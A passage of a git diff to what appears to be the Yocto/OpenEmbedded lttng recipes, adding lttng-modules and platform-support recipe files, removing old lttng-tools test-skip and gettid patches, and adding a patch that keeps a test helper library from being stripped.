+LIC_FILES_CHKSUM = "file://LICENSE;md5=0464cff101a009c403cd2ed65d01d4c4"
+
+inherit module
+
+include lttng-platforms.inc
+
+SRC_URI = "https://lttng.org/files/${BPN}/${BPN}-${PV}.tar.bz2"
+# Use :append here so that the patch is applied also when using devupstream
+SRC_URI:append = " file://0001-src-Kbuild-change-missing-CONFIG_TRACEPOINTS-to-warn.patch"
+
+SRC_URI[sha256sum] = "dfd547d9041c8c545ae5b7bfef3f0ef2d9f2520d6ab44188c9ea8de56d5d298a"
+
+export INSTALL_MOD_DIR="kernel/lttng-modules"
+
+EXTRA_OEMAKE += "KERNELDIR='${STAGING_KERNEL_DIR}'"
+
+MODULES_MODULE_SYMVERS_LOCATION = "src"
+
+do_install:append() {
+ # Delete empty directories to avoid QA failures if no modules were built
+ if [ -d ${D}/${nonarch_base_libdir} ]; then
+ find ${D}/${nonarch_base_libdir} -depth -type d -empty -exec rmdir {} \;
+ fi
+}
+
+python do_package:prepend() {
+ if not os.path.exists(os.path.join(d.getVar('D'), d.getVar('nonarch_base_libdir')[1:], 'modules')):
+ bb.warn("%s: no modules were created; this may be due to CONFIG_TRACEPOINTS not being enabled in your kernel." % d.getVar('PN'))
+}
+
+BBCLASSEXTEND = "devupstream:target"
+SRC_URI:class-devupstream = "git://git.lttng.org/lttng-modules;branch=stable-2.13"
+SRCREV:class-devupstream = "7584cfc04914cb0842a986e9808686858b9c8630"
+SRCREV_FORMAT ?= "lttng_git"
diff --git a/meta/recipes-kernel/lttng/lttng-platforms.inc b/meta/recipes-kernel/lttng/lttng-platforms.inc
new file mode 100644
index 0000000000..933c65d85d
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-platforms.inc
@@ -0,0 +1,17 @@
+#
+# Whether the platform supports kernel tracing
+#
+LTTNGMODULES = "lttng-modules"
+LTTNGMODULES:arc = ""
+LTTNGMODULES:riscv64 = ""
+
+COMPATIBLE_HOST:riscv64:pn-lttng-modules = "null"
+COMPATIBLE_HOST:arc:pn-lttng-modules = "null"
+
+# Whether the platform supports userspace tracing
+# lttng-ust uses sched_getcpu() which is not there on for some platforms.
+LTTNGUST = "lttng-ust"
+LTTNGUST:arc = ""
+
+COMPATIBLE_HOST:arc:pn-lttng-ust = "null"
+
diff --git a/meta/recipes-kernel/lttng/lttng-tools/0001-Skip-when-testapp-is-not-present.patch b/meta/recipes-kernel/lttng/lttng-tools/0001-Skip-when-testapp-is-not-present.patch
deleted file mode 100644
index 6c9f7e462c..0000000000
--- a/meta/recipes-kernel/lttng/lttng-tools/0001-Skip-when-testapp-is-not-present.patch
+++ /dev/null
@@ -1,610 +0,0 @@
-From 95c27e6acceaeda55c729b9e92e594322adef13f Mon Sep 17 00:00:00 2001
-From: Jonathan Rajotte <jonathan.rajotte-julien@efficios.com>
-Date: Wed, 3 Apr 2019 16:31:18 -0400
-Subject: [PATCH lttng-tools] Skip when testapp is not present
-
-We expect lttng-ust do be present, this is a wrong assumptions.
-
-This is a quick fix. The real fix is to either detect at runtime
-lttng-ust support or at build time (HAVE_LIBLTTNG_UST_CTL).
-
-This prevent hang for make check done on a build configured with
---without-lttng-ust.
-
-Upstream-Status: Inappropriate [other]
-Reason: This patch is inappropriate for upstream for 2.10 stable release
-since we do not backport "superficial" fix to the test suite. We do
-backport when a test is broken. The fact that on --without-lttng-ust
-hang is not a "broken" test per-see. Still, a variation of this fix will
-be upstreamed in our master branch and possibly 2.11. The upstreamed
-version will split the test in kernel/ust test and skip them at the
-build system level. This patch is more succinct.
-
-Signed-off-by: Jonathan Rajotte <jonathan.rajotte-julien@efficios.com>
----
- tests/regression/tools/crash/test_crash | 4 ++
- .../regression/tools/exclusion/test_exclusion | 4 ++
- .../tools/filtering/test_valid_filter | 21 ++++--
- tests/regression/tools/health/test_thread_ok | 29 +++++---
- tests/regression/tools/live/Makefile.am | 2 -
- tests/regression/tools/live/test_lttng_ust | 4 ++
- tests/regression/tools/live/test_ust | 4 ++
- .../tools/live/test_ust_tracefile_count | 4 ++
- tests/regression/tools/mi/test_mi | 4 ++
- .../notification/test_notification_multi_app | 18 +++--
- .../tools/notification/test_notification_ust | 4 ++
- .../regression/tools/regen-metadata/test_ust | 2 +-
- .../regression/tools/regen-statedump/test_ust | 2 +-
- .../regression/tools/save-load/test_autoload | 7 ++
- tests/regression/tools/save-load/test_load | 8 +++
- tests/regression/tools/save-load/test_save | 7 ++
- .../regression/tools/snapshots/test_ust_fast | 2 +-
- .../regression/tools/snapshots/test_ust_long | 2 +-
- .../tools/snapshots/test_ust_streaming | 2 +-
- tests/regression/tools/snapshots/ust_test | 2 +-
- .../streaming/test_high_throughput_limits | 2 +-
- tests/regression/tools/streaming/test_ust | 2 +-
- .../tracefile-limits/test_tracefile_count | 2 +-
- .../tracefile-limits/test_tracefile_size | 2 +-
- .../tools/wildcard/test_event_wildcard | 67 ++++++++++---------
- 25 files changed, 147 insertions(+), 60 deletions(-)
-
-diff --git a/tests/regression/tools/crash/test_crash b/tests/regression/tools/crash/test_crash
-index 8c62c513d..3cbe97688 100755
---- a/tests/regression/tools/crash/test_crash
-+++ b/tests/regression/tools/crash/test_crash
-@@ -35,6 +35,10 @@ NUM_TESTS=77
-
- source $TESTDIR/utils/utils.sh
-
-+if [ ! -x "$TESTAPP_BIN" ]; then
-+ plan_skip_all "No UST events binary detected."
-+fi
-+
- # Global declaration for simplification
- LTTNG_CRASH=$TESTDIR/../src/bin/lttng-crash/$CRASH_BIN
-
-diff --git a/tests/regression/tools/exclusion/test_exclusion b/tests/regression/tools/exclusion/test_exclusion
-index 949cd41df..42e4d72fb 100755
---- a/tests/regression/tools/exclusion/test_exclusion
-+++ b/tests/regression/tools/exclusion/test_exclusion
-@@ -30,6 +30,10 @@ NUM_TESTS=149
-
- source $TESTDIR/utils/utils.sh
-
-+if [ ! -x "$TESTAPP_BIN" ]; then
-+ plan_skip_all "No UST events binary detected."
-+fi
-+
- function enable_ust_lttng_all_event_exclusion()
- {
- sess_name="$1"
-diff --git a/tests/regression/tools/filtering/test_valid_filter b/tests/regression/tools/filtering/test_valid_filter
-index 163b32182..1e8da630b 100755
---- a/tests/regression/tools/filtering/test_valid_filter
-+++ b/tests/regression/tools/filtering/test_valid_filter
-@@ -418,12 +418,18 @@ issue_356_filter+="intfield > 4 && intfield > 5 && "
- issue_356_filter+="intfield > 6 && intfield > 7 && "
- issue_356_filter+="intfield > 8 || intfield > 0"
-
-+BIN_NAME="gen-ust-events"
-+
-+skip_ust=1
-+if [ ! -x "$CURDIR/$BIN_NAME" ]; then
-+ skip_ust=0
-+ skip 0 "No UST nevents binary detected." $NUM_UST_TESTS
-+fi
-+
- start_lttng_sessiond
-
- ### UST TESTS
-
--BIN_NAME="gen-ust-events"
--
- KIRK_KRAUSS_TESTS=(
- # the tests below were written by Kirk Krauss in this article:
- # http://www.drdobbs.com/architecture-and-design/matching-wildcards-an-empirical-way-to-t/240169123
-@@ -897,9 +903,6 @@ UST_STR_FILTERS=(
- END
- )
-
--if [ ! -x "$CURDIR/$BIN_NAME" ]; then
-- BAIL_OUT "No UST nevents binary detected."
--fi
-
- IFS="$OLDIFS"
-
-@@ -910,6 +913,10 @@ i=0
- while true; do
- validator="${UST_FILTERS[$i]}"
-
-+ if [ $skip_ust -eq 0 ]; then
-+ break
-+ fi
-+
- if [ "$validator" = END ]; then
- break
- fi
-@@ -929,6 +936,10 @@ i=0
- while true; do
- validator="${UST_STR_FILTERS[$i]}"
-
-+ if [ $skip_ust -eq 0 ]; then
-+ break
-+ fi
-+
- if [ "$validator" = END ]; then
- break
- fi
-diff --git a/tests/regression/tools/health/test_thread_ok b/tests/regression/tools/health/test_thread_ok
-index e81d6ed24..849b7e71f 100755
---- a/tests/regression/tools/health/test_thread_ok
-+++ b/tests/regression/tools/health/test_thread_ok
-@@ -27,6 +27,9 @@ CHANNEL_NAME="testchan"
- HEALTH_CHECK_BIN="health_check"
- NUM_TESTS=17
- SLEEP_TIME=30
-+TESTAPP_PATH="$TESTDIR/utils/testapp"
-+TESTAPP_NAME="gen-ust-events"
-+TESTAPP_BIN="$TESTAPP_PATH/$TESTAPP_NAME/$TESTAPP_NAME"
-
- source $TESTDIR/utils/utils.sh
-
-@@ -76,15 +79,19 @@ function test_thread_ok
- $CURDIR/$HEALTH_CHECK_BIN > ${STDOUT_PATH} 2> ${STDERR_PATH}
- report_errors
-
-- diag "With UST consumer daemons"
-- create_lttng_session_no_output $SESSION_NAME
-- enable_ust_lttng_event_ok $SESSION_NAME $UST_EVENT_NAME $CHANNEL_NAME
-- start_lttng_tracing_ok $SESSION_NAME
-- destroy_lttng_session_ok $SESSION_NAME
-+ skip $skip_ust "Ust does not seems to be supported" "5" ||
-+ {
-+ diag "With UST consumer daemons"
-+ create_lttng_session_no_output $SESSION_NAME
-+ enable_ust_lttng_event_ok $SESSION_NAME $UST_EVENT_NAME $CHANNEL_NAME
-+ start_lttng_tracing_ok $SESSION_NAME
-+ destroy_lttng_session_ok $SESSION_NAME
-
-- # Check health status
-- $CURDIR/$HEALTH_CHECK_BIN > ${STDOUT_PATH} 2> ${STDERR_PATH}
-- report_errors
-+
-+ # Check health status
-+ $CURDIR/$HEALTH_CHECK_BIN > ${STDOUT_PATH} 2> ${STDERR_PATH}
-+ report_errors
-+ }
-
- skip $isroot "Root access is needed. Skipping kernel consumer health check test." "5" ||
- {
-@@ -141,6 +148,12 @@ else
- isroot=0
- fi
-
-+if [ ! -x "$TESTAPP_BIN" ]; then
-+ skip_ust=0
-+else
-+ skip_ust=1
-+fi
-+
- test_thread_ok
-
- rm -rf ${HEALTH_PATH}
-diff --git a/tests/regression/tools/live/Makefile.am b/tests/regression/tools/live/Makefile.am
-index 46186d383..db74de8d5 100644
---- a/tests/regression/tools/live/Makefile.am
-+++ b/tests/regression/tools/live/Makefile.am
-@@ -16,9 +16,7 @@ LIVE=$(top_builddir)/src/bin/lttng-sessiond/session.$(OBJEXT) \
- noinst_PROGRAMS = live_test
- EXTRA_DIST = test_kernel test_lttng_kernel
-
--if HAVE_LIBLTTNG_UST_CTL
- EXTRA_DIST += test_ust test_ust_tracefile_count test_lttng_ust
--endif
-
- live_test_SOURCES = live_test.c
- live_test_LDADD = $(LIBTAP) $(LIBCOMMON) $(LIBRELAYD) $(LIBSESSIOND_COMM) \
-diff --git a/tests/regression/tools/live/test_lttng_ust b/tests/regression/tools/live/test_lttng_ust
-index 06017d01d..be9b3d7f7 100755
---- a/tests/regression/tools/live/test_lttng_ust
-+++ b/tests/regression/tools/live/test_lttng_ust
-@@ -38,6 +38,10 @@ NUM_TESTS=12
-
- source $TESTDIR/utils/utils.sh
-
-+if [ ! -x "$TESTAPP_BIN" ]; then
-+ plan_skip_all "No UST events binary detected."
-+fi
-+
- # MUST set TESTDIR before calling those functions
- plan_tests $NUM_TESTS
-
-diff --git a/tests/regression/tools/live/test_ust b/tests/regression/tools/live/test_ust
-index 0384a706f..add521bfc 100755
---- a/tests/regression/tools/live/test_ust
-+++ b/tests/regression/tools/live/test_ust
-@@ -36,6 +36,10 @@ DIR=$(readlink -f $TESTDIR)
-
- source $TESTDIR/utils/utils.sh
-
-+if [ ! -x "$TESTAPP_BIN" ]; then
-+ plan_skip_all "No UST events binary detected."
-+fi
-+
- echo "$TEST_DESC"
-
- function setup_live_tracing()
-diff --git a/tests/regression/tools/live/test_ust_tracefile_count b/tests/regression/tools/live/test_ust_tracefile_count
-index 6da368fc6..10504f8c6 100755
---- a/tests/regression/tools/live/test_ust_tracefile_count
-+++ b/tests/regression/tools/live/test_ust_tracefile_count
-@@ -36,6 +36,10 @@ DIR=$(readlink -f $TESTDIR)
-
- source $TESTDIR/utils/utils.sh
-
-+if [ ! -x "$TESTAPP_BIN" ]; then
-+ plan_skip_all "No UST events binary detected."
-+fi
-+
- echo "$TEST_DESC"
-
- function setup_live_tracing()
-diff --git a/tests/regression/tools/mi/test_mi b/tests/regression/tools/mi/test_mi
-index 48dda7da6..2cc30b29a 100755
---- a/tests/regression/tools/mi/test_mi
-+++ b/tests/regression/tools/mi/test_mi
-@@ -61,6 +61,10 @@ NUM_TESTS=228
-
- source $TESTDIR/utils/utils.sh
-
-+if [ ! -x "$TESTAPP_BIN" ]; then
-+ plan_skip_all "No UST events binary detected."
-+fi
-+
- #Overwrite the lttng_bin to get mi output
- LTTNG_BIN="lttng --mi xml"
-
-diff --git a/tests/regression/tools/notification/test_notification_multi_app b/tests/regression/tools/notification/test_notification_multi_app
-index 0a05ea6a0..29b0f62fa 100755
---- a/tests/regression/tools/notification/test_notification_multi_app
-+++ b/tests/regression/tools/notification/test_notification_multi_app
-@@ -52,6 +52,11 @@ plan_tests $NUM_TESTS
-
- print_test_banner "$TEST_DESC"
-
-+skip_ust=1
-+if [ ! -x "$TESTAPP_BIN" ]; then
-+ skip_ust=0
-+fi
-+
- app_pids=()
-
- function kernel_event_generator_toogle_state
-@@ -468,10 +473,15 @@ function test_on_register_evaluation ()
- }
-
-
--TESTS=(
-- test_multi_app_ust
-- test_on_register_evaluation_ust
--)
-+TESTS=()
-+if [ $skip_ust -eq "1" ]; then
-+ TESTS+=(
-+ test_multi_app_ust
-+ test_on_register_evaluation_ust
-+ )
-+else
-+ skip 0 "No UST events binary detected." $NUM_TEST_UST
-+fi
-
- if [ "$(id -u)" == "0" ]; then
- TESTS+=(
-diff --git a/tests/regression/tools/notification/test_notification_ust b/tests/regression/tools/notification/test_notification_ust
-index 8941e476d..eb2e15cad 100755
---- a/tests/regression/tools/notification/test_notification_ust
-+++ b/tests/regression/tools/notification/test_notification_ust
-@@ -46,6 +46,10 @@ DIR=$(readlink -f $TESTDIR)
-
- source $TESTDIR/utils/utils.sh
-
-+if [ ! -x "$TESTAPP_BIN" ]; then
-+ plan_skip_all "No UST events binary detected."
-+fi
-+
- function ust_event_generator_toogle_state
- {
- ust_event_generator_suspended=$((ust_event_generator_suspended==0))
-diff --git a/tests/regression/tools/regen-metadata/test_ust b/tests/regression/tools/regen-metadata/test_ust
-index b7f1af1d8..312c8a40d 100755
---- a/tests/regression/tools/regen-metadata/test_ust
-+++ b/tests/regression/tools/regen-metadata/test_ust
-@@ -34,7 +34,7 @@ NUM_TESTS=33
- source $TESTDIR/utils/utils.sh
-
- if [ ! -x "$TESTAPP_BIN" ]; then
-- BAIL_OUT "No UST events binary detected."
-+ plan_skip_all "No UST events binary detected."
- fi
-
- function lttng_create_session_uri
-diff --git a/tests/regression/tools/regen-statedump/test_ust b/tests/regression/tools/regen-statedump/test_ust
-index 486b9a560..8d455b26a 100755
---- a/tests/regression/tools/regen-statedump/test_ust
-+++ b/tests/regression/tools/regen-statedump/test_ust
-@@ -34,7 +34,7 @@ NUM_TESTS=11
- source $TESTDIR/utils/utils.sh
-
- if [ ! -x "$TESTAPP_BIN" ]; then
-- BAIL_OUT "No UST events binary detected."
-+ plan_skip_all "No UST events binary detected."
- fi
-
- function test_ust_local ()
-diff --git a/tests/regression/tools/save-load/test_autoload b/tests/regression/tools/save-load/test_autoload
-index 7ee5e9906..ec376cfb3 100755
---- a/tests/regression/tools/save-load/test_autoload
-+++ b/tests/regression/tools/save-load/test_autoload
-@@ -21,6 +21,9 @@ CURDIR=$(dirname $0)/
- CONFIG_DIR="${CURDIR}/configuration"
- TESTDIR=$CURDIR/../../../
- export LTTNG_SESSION_CONFIG_XSD_PATH=$(readlink -m ${TESTDIR}../src/common/config/)
-+TESTAPP_PATH="$TESTDIR/utils/testapp"
-+TESTAPP_NAME="gen-ust-events"
-+TESTAPP_BIN="$TESTAPP_PATH/$TESTAPP_NAME/$TESTAPP_NAME"
-
- DIR=$(readlink -f $TESTDIR)
-
-@@ -28,6 +31,10 @@ NUM_TESTS=9
-
- source $TESTDIR/utils/utils.sh
-
-+if [ ! -x "$TESTAPP_BIN" ]; then
-+ plan_skip_all "No UST events binary detected."
-+fi
-+
- # MUST set TESTDIR before calling those functions
- plan_tests $NUM_TESTS
-
-diff --git a/tests/regression/tools/save-load/test_load b/tests/regression/tools/save-load/test_load
-index 5e38b46b6..b6fdd8192 100755
---- a/tests/regression/tools/save-load/test_load
-+++ b/tests/regression/tools/save-load/test_load
-@@ -20,6 +20,10 @@ TEST_DESC="Load session(s)"
- CURDIR=$(dirname $0)/
- CONFIG_DIR="${CURDIR}/configuration"
- TESTDIR=$CURDIR/../../../
-+TESTAPP_PATH="$TESTDIR/utils/testapp"
-+TESTAPP_NAME="gen-ust-events"
-+TESTAPP_BIN="$TESTAPP_PATH/$TESTAPP_NAME/$TESTAPP_NAME"
-+
- export LTTNG_SESSION_CONFIG_XSD_PATH=$(readlink -m ${TESTDIR}../src/common/config/)
-
- SESSION_NAME="load-42"
-@@ -31,6 +35,10 @@ NUM_TESTS=67
-
- source $TESTDIR/utils/utils.sh
-
-+if [ ! -x "$TESTAPP_BIN" ]; then
-+ plan_skip_all "No UST events binary detected."
-+fi
-+
- # MUST set TESTDIR before calling those functions
- plan_tests $NUM_TESTS
-
-diff --git a/tests/regression/tools/save-load/test_save b/tests/regression/tools/save-load/test_save
-index c5f6b1341..cfaf67b7a 100755
---- a/tests/regression/tools/save-load/test_save
-+++ b/tests/regression/tools/save-load/test_save
-@@ -23,6 +23,9 @@ TESTDIR=$CURDIR/../../../
- SESSION_NAME="save-42"
- CHANNEL_NAME="chan-save"
- EVENT_NAME="tp:tptest"
-+TESTAPP_PATH="$TESTDIR/utils/testapp"
-+TESTAPP_NAME="gen-ust-events"
-+TESTAPP_BIN="$TESTAPP_PATH/$TESTAPP_NAME/$TESTAPP_NAME"
-
- DIR=$(readlink -f $TESTDIR)
-
-@@ -30,6 +33,10 @@ NUM_TESTS=41
-
- source $TESTDIR/utils/utils.sh
-
-+if [ ! -x "TESTAPP_BIN" ]; then
-+ plan_skip_all "No UST events binary detected."
-+fi
-+
- # MUST set TESTDIR before calling those functions
- plan_tests $NUM_TESTS
-
-diff --git a/tests/regression/tools/snapshots/test_ust_fast b/tests/regression/tools/snapshots/test_ust_fast
-index edb435c52..5a68ec56d 100755
---- a/tests/regression/tools/snapshots/test_ust_fast
-+++ b/tests/regression/tools/snapshots/test_ust_fast
-@@ -23,7 +23,7 @@ TEST_BIN="ust_test"
- source $TESTDIR/utils/utils.sh
-
- if [ ! -x "$CURDIR/$TEST_BIN" ]; then
-- BAIL_OUT "No UST test found: $TEST_BIN"
-+ plan_skip_all "No UST test found: $TEST_BIN"
- fi
-
- ./$CURDIR/$TEST_BIN $NR_SNAPSHOT
-diff --git a/tests/regression/tools/snapshots/test_ust_long b/tests/regression/tools/snapshots/test_ust_long
-index 9e1a0c262..afa019f6a 100755
---- a/tests/regression/tools/snapshots/test_ust_long
-+++ b/tests/regression/tools/snapshots/test_ust_long
-@@ -23,7 +23,7 @@ TEST_BIN="ust_test"
- source $TESTDIR/utils/utils.sh
-
- if [ ! -x "$CURDIR/$TEST_BIN" ]; then
-- BAIL_OUT "No UST test found: $TEST_BIN"
-+ plan_skip_all "No UST test found: $TEST_BIN"
- fi
-
- ./$CURDIR/$TEST_BIN $NR_SNAPSHOT
-diff --git a/tests/regression/tools/snapshots/test_ust_streaming b/tests/regression/tools/snapshots/test_ust_streaming
-index 93b0957f3..69291ab4d 100755
---- a/tests/regression/tools/snapshots/test_ust_streaming
-+++ b/tests/regression/tools/snapshots/test_ust_streaming
-@@ -37,7 +37,7 @@ NUM_TESTS=75
- source $TESTDIR/utils/utils.sh
-
- if [ ! -x "$TESTAPP_BIN" ]; then
-- BAIL_OUT "No UST events binary detected."
-+ plan_skip_all "No UST events binary detected."
- fi
-
- function snapshot_add_output ()
-diff --git a/tests/regression/tools/snapshots/ust_test b/tests/regression/tools/snapshots/ust_test
-index 755cef9e0..92f9f6cff 100755
---- a/tests/regression/tools/snapshots/ust_test
-+++ b/tests/regression/tools/snapshots/ust_test
-@@ -34,7 +34,7 @@ TRACE_PATH=$(mktemp -d)
- source $TESTDIR/utils/utils.sh
-
- if [ ! -x "$TESTAPP_BIN" ]; then
-- BAIL_OUT "No UST events binary detected."
-+ plan_skip_all "No UST events binary detected."
- fi
-
- # Need the number of snapshot to do.
-diff --git a/tests/regression/tools/streaming/test_high_throughput_limits b/tests/regression/tools/streaming/test_high_throughput_limits
-index 32c3f1f2b..f54178923 100755
---- a/tests/regression/tools/streaming/test_high_throughput_limits
-+++ b/tests/regression/tools/streaming/test_high_throughput_limits
-@@ -38,7 +38,7 @@ NUM_TESTS=104
- source $TESTDIR/utils/utils.sh
-
- if [ ! -x "$TESTAPP_BIN" ]; then
-- BAIL_OUT "No UST events binary detected."
-+ plan_skip_all "No UST events binary detected."
- fi
-
- function set_bw_limit
-diff --git a/tests/regression/tools/streaming/test_ust b/tests/regression/tools/streaming/test_ust
-index a5d5b5e92..e1dd98ee7 100755
---- a/tests/regression/tools/streaming/test_ust
-+++ b/tests/regression/tools/streaming/test_ust
-@@ -34,7 +34,7 @@ NUM_TESTS=16
- source $TESTDIR/utils/utils.sh
-
- if [ ! -x "$TESTAPP_BIN" ]; then
-- BAIL_OUT "No UST events binary detected."
-+ plan_skip_all "No UST events binary detected."
- fi
-
- function lttng_create_session_uri
-diff --git a/tests/regression/tools/tracefile-limits/test_tracefile_count b/tests/regression/tools/tracefile-limits/test_tracefile_count
-index 6ada8580f..7553c7d1f 100755
---- a/tests/regression/tools/tracefile-limits/test_tracefile_count
-+++ b/tests/regression/tools/tracefile-limits/test_tracefile_count
-@@ -33,7 +33,7 @@ PAGE_SIZE=$(getconf PAGE_SIZE)
- source $TESTDIR/utils/utils.sh
-
- if [ ! -x "$TESTAPP_BIN" ]; then
-- BAIL_OUT "No UST events binary detected."
-+ plan_skip_all "No UST events binary detected."
- fi
-
- function enable_lttng_channel_count_limit ()
-diff --git a/tests/regression/tools/tracefile-limits/test_tracefile_size b/tests/regression/tools/tracefile-limits/test_tracefile_size
-index 3dddbe613..1089487ff 100755
---- a/tests/regression/tools/tracefile-limits/test_tracefile_size
-+++ b/tests/regression/tools/tracefile-limits/test_tracefile_size
-@@ -33,7 +33,7 @@ NUM_TESTS=66
- source $TESTDIR/utils/utils.sh
-
- if [ ! -x "$TESTAPP_BIN" ]; then
-- BAIL_OUT "No UST events binary detected."
-+ plan_skip_all "No UST events binary detected."
- fi
-
- function enable_lttng_channel_size_limit ()
-diff --git a/tests/regression/tools/wildcard/test_event_wildcard b/tests/regression/tools/wildcard/test_event_wildcard
-index 61ea67a72..921a2301d 100755
---- a/tests/regression/tools/wildcard/test_event_wildcard
-+++ b/tests/regression/tools/wildcard/test_event_wildcard
-@@ -97,42 +97,47 @@ print_test_banner "$TEST_DESC"
-
- start_lttng_sessiond
-
--diag "Test UST wildcard"
--
- if [ ! -x "$TESTAPP_BIN" ]; then
-- BAIL_OUT "No UST nevents binary detected."
-+ skip_ust=0
-+else
-+ skip_ust=1
- fi
-
--EVENT_NAME="tp:tptest"
-+skip $skip_ust "No UST nevents binary detected." $NUM_UST_TESTS ||
-+{
-+ diag "Test UST wildcard"
-
--# non-matching
--test_event_wildcard ust 0 'tp:abc*'
--test_event_wildcard ust 0 '*abc'
--test_event_wildcard ust 0 '*z*'
--test_event_wildcard ust 0 '*\**'
--test_event_wildcard ust 0 '*\*'
--test_event_wildcard ust 0 '\**'
--test_event_wildcard ust 0 '*:*tpte*s'
--test_event_wildcard ust 0 'tp**tpTest'
-+ EVENT_NAME="tp:tptest"
-
--# matching
--test_event_wildcard ust 1 'tp:tp*'
--test_event_wildcard ust 1 '*'
--test_event_wildcard ust 1 'tp:tptest*'
--test_event_wildcard ust 1 '**'
--test_event_wildcard ust 1 '***'
--test_event_wildcard ust 1 '*tptest'
--test_event_wildcard ust 1 '**tptest'
--test_event_wildcard ust 1 '*tpte*'
--test_event_wildcard ust 1 '*tp*'
--test_event_wildcard ust 1 '*tp**'
--test_event_wildcard ust 1 '*:*tptest'
--test_event_wildcard ust 1 '*:*tpte*t'
--test_event_wildcard ust 1 't*p*:*t*e*s*t'
--test_event_wildcard ust 1 '*t*p*:*t*e*s*t*'
--test_event_wildcard ust 1 'tp*tptest'
--test_event_wildcard ust 1 'tp**tptest'
--test_event_wildcard ust 1 'tp*test'
-+ # non-matching
-+ test_event_wildcard ust 0 'tp:abc*'
-+ test_event_wildcard ust 0 '*abc'
-+ test_event_wildcard ust 0 '*z*'
-+ test_event_wildcard ust 0 '*\**'
-+ test_event_wildcard ust 0 '*\*'
-+ test_event_wildcard ust 0 '\**'
-+ test_event_wildcard ust 0 '*:*tpte*s'
-+ test_event_wildcard ust 0 'tp**tpTest'
-+
-+ # matching
-+ test_event_wildcard ust 1 'tp:tp*'
-+ test_event_wildcard ust 1 '*'
-+ test_event_wildcard ust 1 'tp:tptest*'
-+ test_event_wildcard ust 1 '**'
-+ test_event_wildcard ust 1 '***'
-+ test_event_wildcard ust 1 '*tptest'
-+ test_event_wildcard ust 1 '**tptest'
-+ test_event_wildcard ust 1 '*tpte*'
-+ test_event_wildcard ust 1 '*tp*'
-+ test_event_wildcard ust 1 '*tp**'
-+ test_event_wildcard ust 1 '*:*tptest'
-+ test_event_wildcard ust 1 '*:*tpte*t'
-+ test_event_wildcard ust 1 't*p*:*t*e*s*t'
-+ test_event_wildcard ust 1 '*t*p*:*t*e*s*t*'
-+ test_event_wildcard ust 1 'tp*tptest'
-+ test_event_wildcard ust 1 'tp**tptest'
-+ test_event_wildcard ust 1 'tp*test'
-+}
-
- if [ "$(id -u)" == "0" ]; then
- isroot=1
---
-2.17.1
-
diff --git a/meta/recipes-kernel/lttng/lttng-tools/0001-check-for-gettid-API-during-configure.patch b/meta/recipes-kernel/lttng/lttng-tools/0001-check-for-gettid-API-during-configure.patch
deleted file mode 100644
index c494cee604..0000000000
--- a/meta/recipes-kernel/lttng/lttng-tools/0001-check-for-gettid-API-during-configure.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-From 69c62f5f3cc424b7dd0c8e4097743b39a9c48306 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 27 Jul 2019 08:48:13 -0700
-Subject: [lttng-tools][PATCH] check for gettid API during configure
-
-Add support for gettid() provided by glibc 2.30+
-
-Since version 2.30 glibc provides gettid and it causes conflicts with
-locally defined gettid(). Use the local definition of
-gettid only if system gettid is not available.
-
-https://sourceware.org/git/?p=glibc.git;a=blob_plain;f=NEWS;hb=HEAD<Paste>
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- configure.ac | 2 +-
- src/common/compat/tid.h | 3 ++-
- 2 files changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 7b99f5c..e4bd82c 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -190,7 +190,7 @@ AC_CHECK_HEADERS([ \
- # Basic functions check
- AC_CHECK_FUNCS([ \
- atexit bzero clock_gettime dup2 fdatasync fls ftruncate \
-- gethostbyname gethostname getpagesize localtime_r memchr memset \
-+ gethostbyname gethostname getpagesize gettid localtime_r memchr memset \
- mkdir munmap putenv realpath rmdir socket strchr strcspn strdup \
- strncasecmp strndup strnlen strpbrk strrchr strstr strtol strtoul \
- strtoull dirfd gethostbyname2 getipnodebyname epoll_create1 \
-diff --git a/src/common/compat/tid.h b/src/common/compat/tid.h
-index 40f562f..aa07a85 100644
---- a/src/common/compat/tid.h
-+++ b/src/common/compat/tid.h
-@@ -25,6 +25,7 @@
- #ifndef LTTNG_TID_H
- #define LTTNG_TID_H
-
-+#if !HAVE_GETTID
- #ifdef __linux__
- #include <syscall.h>
- #endif
-@@ -47,5 +48,5 @@ static inline pid_t gettid(void)
- return getpid();
- }
- #endif
--
-+#endif /* HAVE_GETTID */
- #endif /* LTTNG_TID_H */
---
-2.22.0
-
diff --git a/meta/recipes-kernel/lttng/lttng-tools/0001-tests-do-not-strip-a-helper-library.patch b/meta/recipes-kernel/lttng/lttng-tools/0001-tests-do-not-strip-a-helper-library.patch
new file mode 100644
index 0000000000..2d08b08879
--- /dev/null
+++ b/meta/recipes-kernel/lttng/lttng-tools/0001-tests-do-not-strip-a-helper-library.patch
@@ -0,0 +1,27 @@
+From ab238c213fac190972f55e73cf3e0bb1c7846eb8 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Thu, 12 Dec 2019 16:52:07 +0100
+Subject: [PATCH] tests: do not strip a helper library
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ tests/utils/testapp/userspace-probe-elf-binary/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/utils/testapp/userspace-probe-elf-binary/Makefile.am b/tests/utils/testapp/userspace-probe-elf-binary/Makefile.am
+index 03f5d5a..d12c343 100644
+--- a/tests/utils/testapp/userspace-probe-elf-binary/Makefile.am
++++ b/tests/utils/testapp/userspace-probe-elf-binary/Makefile.am
+@@ -12,7 +12,7 @@ userspace_probe_elf_binary_LDADD = libfoo.la
+ libfoo.strip: libfoo.la
+ $(OBJCOPY) --strip-all .libs/libfoo.so
+
+-all-local: libfoo.strip
++all-local:
+ @if [ x"$(srcdir)" != x"$(builddir)" ]; then \
+ for script in $(EXTRA_DIST); do \
+ cp -f $(srcdir)/$$script $(builddir); \
+--
+2.17.1
+
diff --git a/meta/recipes-kernel/lttng/lttng-tools/0002-Fix-check-for-lttng-modules-presence-before-testing.patch b/meta/recipes-kernel/lttng/lttng-tools/0002-Fix-check-for-lttng-modules-presence-before-testing.patch
deleted file mode 100644
index 784a07940a..0000000000
--- a/meta/recipes-kernel/lttng/lttng-tools/0002-Fix-check-for-lttng-modules-presence-before-testing.patch
